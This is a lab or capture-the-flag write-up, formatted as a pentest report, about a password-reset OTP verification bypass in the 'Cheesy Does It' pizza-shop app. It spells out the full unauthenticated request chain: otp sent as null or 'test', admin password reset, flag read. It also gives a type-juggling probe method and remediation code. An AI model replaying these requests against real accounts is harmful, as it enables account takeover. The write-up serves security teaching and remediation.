BugForge — 2026.07.09

Cheesy Does It: Password-Reset Account Takeover via OTP Verification Bypass

BugForge Password-Reset OTP Verification Bypass easy

Part 1: Pentest Report

Executive Summary

“Cheesy Does It” is a BugForge web application (a pizza-shop theme) built on a React single-page frontend and a Node/Express backend with HS256 JWT authentication. The objective was to take over the seeded admin account and read the flag returned in the admin user object. Testing found that the password-recovery flow can be driven to completion without ever knowing the one-time code it is meant to protect: the verify-otp step returns a valid reset_token when the submitted code is null or a non-numeric string, allowing a full account takeover from unauthenticated requests.

Testing confirmed one finding:

ID Title Severity CVSS CWE Endpoint
F1 Password-reset OTP verification bypass (null / non-numeric otp) Critical 9.8 CWE-640, CWE-697 POST /api/verify-otp

The same verify-otp endpoint is also brute-forceable because it applies no rate limit, an independent route to the same account takeover. That path is documented separately in the Cheesy Does It OTP brute-force writeup. This writeup covers the verification bypass, which reaches the takeover in a single request with no knowledge of the code.


Objective

Take over the admin account and recover the flag, which the application returns inside the admin user object on successful login.


Scope / Initial Access

# Target Application
URL: https://lab-<instance>.labs-app.bugforge.io   # instances observed: 7sza2l, i4nmnu

# Auth details
# Self-registration is open: POST /api/register returns a JWT.
# New accounts receive id >= 4 and carry no role field.
# Login (POST /api/login) returns a JWT plus the full user object (role, email, address).
# JWT is HS256 with claims {id, username, iat}.
# The password-recovery endpoints (forgot-password, verify-otp, reset-password)
# are unauthenticated and identify the target by a username in the request body.

The lab instance is redeployed periodically and the flag rotates per instance; the recovery-flow behavior is stable across redeploys, so the method is what matters rather than any single flag value.


Reconnaissance: Mapping the Recovery Flow

The application surface was mapped by registering an account, logging in, and walking the authentication and recovery endpoints while capturing traffic in Caido. The recovery flow is a three-step chain, and the shape of each response determined where the attack was aimed.

  1. The recovery flow is forgot-password then verify-otp then reset-password, all unauthenticated and keyed only by a username in the body. The credential that reset-password consumes is the reset_token returned by verify-otp, not the OTP itself. That makes verify-otp the step that mints the authorizing credential, and therefore the primary target.
  2. verify-otp returns a UUID reset_token on success and a 400 {"error": "Invalid or expired OTP"} on failure. Submitting values that cannot be the real code became the first test of whether the comparison was sound.
  3. The OTP is a 4-digit numeric code (a space of 10,000). That small space also makes verify-otp brute-forceable without a rate limit, an independent path to the same takeover documented in the OTP brute-force writeup; this writeup pursues the verification bypass, which needs no guessing.
  4. Logging in with our own registered account returned a user object of the shape { token, user: { id, username, role, email, address } }. The flag later surfaced in the admin object’s email and address fields, so inspecting every response key (not just the token) was necessary.

Application Architecture

Component Detail
Backend Node.js / Express (X-Powered-By: Express)
Frontend React single-page app (static/js/main.b51c4b94.js)
Auth JWT, HS256, claims {id, username, iat}
Database Not directly observed

API Surface

Endpoint Method Auth Notes
/api/register POST No Self-register; returns JWT. New users get id >= 4, no role field.
/api/login POST No {username,password} returns JWT + full user object (role, email, address).
/api/forgot-password POST No {username} returns “OTP sent to your registered email address”.
/api/verify-otp POST No {username,otp} returns {reset_token} on success.
/api/reset-password POST No {username,reset_token,new_password} returns “Password reset successfully”.
/api/profile PUT Yes Authenticated profile update.
/api/menu/pizzas GET Yes Authenticated menu read.

Known Users

Username ID Role
admin seeded (low id) admin (target)
self-registered test user >= 4 none

Attack Chain Visualization

┌──────────────────┐     ┌────────────────────┐     ┌──────────────────┐     ┌────────────────────┐
│ forgot-password  │ ──▶ │ verify-otp         │ ──▶ │ reset-password   │ ──▶ │ login (admin)      │
│ (admin)          │     │ otp=null / "test"  │     │ set new password │     │ read flag in       │
│ fresh OTP set    │     │ MINT reset_token   │     │                  │     │ email + address    │
└──────────────────┘     └────────────────────┘     └──────────────────┘     └────────────────────┘

One unauthenticated request chain. The verify-otp step issues the reset_token despite a non-matching otp, and the reset-and-login tail follows from that token.


Findings

F1: Password-Reset OTP Verification Bypass (null / non-numeric otp)

Severity: Critical CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-640 (Weak Password Recovery Mechanism for Forgotten Password), CWE-697 (Incorrect Comparison) Endpoint: POST /api/verify-otp Authentication required: No

Description

The verify-otp step is meant to check a submitted one-time code against the code the server issued for a username, and to return a reset_token only on a match. Instead, the endpoint returns a valid reset_token when the otp field is JSON null or a non-numeric string such as "test", even when a fresh, active OTP exists for the account. No knowledge of the real code is required. Because the recovery endpoints are unauthenticated, this lets any client mint a reset token for any account, including admin.

The returned token is a legitimately issued token, not a forged one: reset-password accepts it and changes the account password, so the defect is in the comparison at the mint step, not downstream.

Impact

Full takeover of any account, including admin, without knowing the one-time code. A single unauthenticated request chain resets the target password and yields admin access.

Reproduction

Step 1: Request a fresh OTP for admin

POST /api/forgot-password HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin"}

Response: 200 {"message":"OTP sent to your registered email address"}. A fresh 4-digit OTP is now active for admin.

Step 2: Submit a non-matching otp value

POST /api/verify-otp HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","otp":null}

Response: 200 {"reset_token":"37df5a27-c767-48ee-ae00-b025996e4186"}. The server issued a reset token against an active OTP without a matching value.

The string "test" submitted against the same active OTP returned the identical token, confirming the comparison itself is broken rather than a null matching an empty store:

POST /api/verify-otp HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","otp":"test"}

Response: 200 {"reset_token":"37df5a27-c767-48ee-ae00-b025996e4186"}.

Step 3: Reset the admin password with the token

POST /api/reset-password HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","reset_token":"37df5a27-c767-48ee-ae00-b025996e4186","new_password":"password"}

Response: 200 {"message":"Password reset successfully"}. The admin password is now attacker-controlled.

Step 4: Log in as admin and read the flag

POST /api/login HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","password":"password"}

Response: 200 with a JWT and the admin user object:

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "user": {
    "username": "admin",
    "role": "admin",
    "email": "bug{MDMrg76GmEXqWcFxNl7tX5ZSLMrrMJsY}",
    "address": "bug{MDMrg76GmEXqWcFxNl7tX5ZSLMrrMJsY}"
  }
}

The flag is present in both user.email and user.address.

Remediation

Fix 1: Validate the otp field shape, then compare strictly

The exact server-side comparison is not observable from the client. The confirmed behavior is that, with an active OTP, otp: null and otp: "test" both return a reset_token while wrong numeric codes return 400. That rules out a plain equality check (which would reject null and "test" the same way it rejects a wrong number) and points to an unsound comparison that fails to reject non-matching or non-string input. Whatever the mechanism, the fix is the same: reject anything that is not a 4-digit string, require an active stored code, and compare exactly.

// AFTER (Secure): reject anything that is not a 4-digit string first,
// require an active stored code, then compare in constant time.
if (typeof submittedOtp !== 'string' || !/^\d{4}$/.test(submittedOtp)) {
  return res.status(400).json({ error: 'Invalid or expired OTP' });
}
if (!storedOtp ||
    !crypto.timingSafeEqual(Buffer.from(submittedOtp), Buffer.from(storedOtp))) {
  return res.status(400).json({ error: 'Invalid or expired OTP' });
}
return res.json({ reset_token: issueResetToken(user) });

Additional recommendations:

  • Treat a missing or non-string otp as an outright rejection, never as a value to coerce.
  • Make each OTP single-use and short-lived, and invalidate it on the first successful verification.
  • Bind the issued OTP to the account and reject verification when no active OTP exists for that username.

OWASP Top 10 Coverage

  • A07:2021 Identification and Authentication Failures: verify-otp accepts a non-matching one-time code at the recovery-verification step, so the account-recovery authentication path can be completed without the code.

Tools Used

Tool Purpose
Caido Proxy, request capture and replay, and history search across the recovery flow
JSON body crafting (type-juggle matrix) Submitting otp as null, "test", and numeric values to probe the comparison

References

  • CWE-640: Weak Password Recovery Mechanism for Forgotten Password (https://cwe.mitre.org/data/definitions/640.html)
  • CWE-697: Incorrect Comparison (https://cwe.mitre.org/data/definitions/697.html)
  • OWASP Top 10:2021 A07 Identification and Authentication Failures (https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)
  • OWASP Forgot Password Cheat Sheet (https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)

Part 2: Notes / Knowledge

Key Learnings

  • When a reset or two-factor flow has a verify-code step that returns a credential on success, attack the credential where it is minted, and test that gate two ways. In a multi-step recovery flow the code the user types is rarely what authorizes the sensitive action; the token the verify step hands back is. On this target verify-otp returned a reset_token that reset-password then consumed, and reset-password validated that token correctly, so pushing on it was a dead end. The productive move was to attack the step that mints the token and to probe it two independent ways: type-juggle the code field (null, a non-numeric string, [], {}, a number, the key omitted) to catch a broken comparison, and brute the numeric space to catch a missing throttle. Either defect issues the token without the real code, and both were present here.

  • When a null or empty value appears to bypass a check, rule out the benign “empty store (null == null)” explanation before calling it a bypass. A verification that passes when you send null or an empty value is not automatically broken: if the server’s stored secret is unset or expired, a coercing comparison passes for the boring reason that nothing was there to match. To prove the comparison itself is broken, trigger the issuing step immediately before (so a real secret is demonstrably active) and show that a non-null junk value also passes. Here otp:null fired 21 seconds after a forgot-password that mints a real 4-digit OTP, and otp:"test" passed against that same active OTP; together those rule out the empty-store explanation and confirm a genuine broken comparison.


Failed Approaches

Approach Result Why It Failed
Mass-assign a role field via POST /api/register Registration returns no role; new users get id >= 4 The server does not honor a role supplied at registration, so there is no path to admin via self-registration.
Forge or reuse an arbitrary reset_token at reset-password reset-password rejects tokens it did not issue reset-password validates the token correctly; the flaw is upstream at verify-otp, where the token is minted.

Tags: #webapp #account-takeover #password-reset #otp #broken-authentication #bugforge Document Version: 1.0 Last Updated: 2026-07-09

#bugforge #webapp #account-takeover #password-reset #otp #otp-verification-bypass #type-confusion #broken-authentication #cwe-640 #cwe-697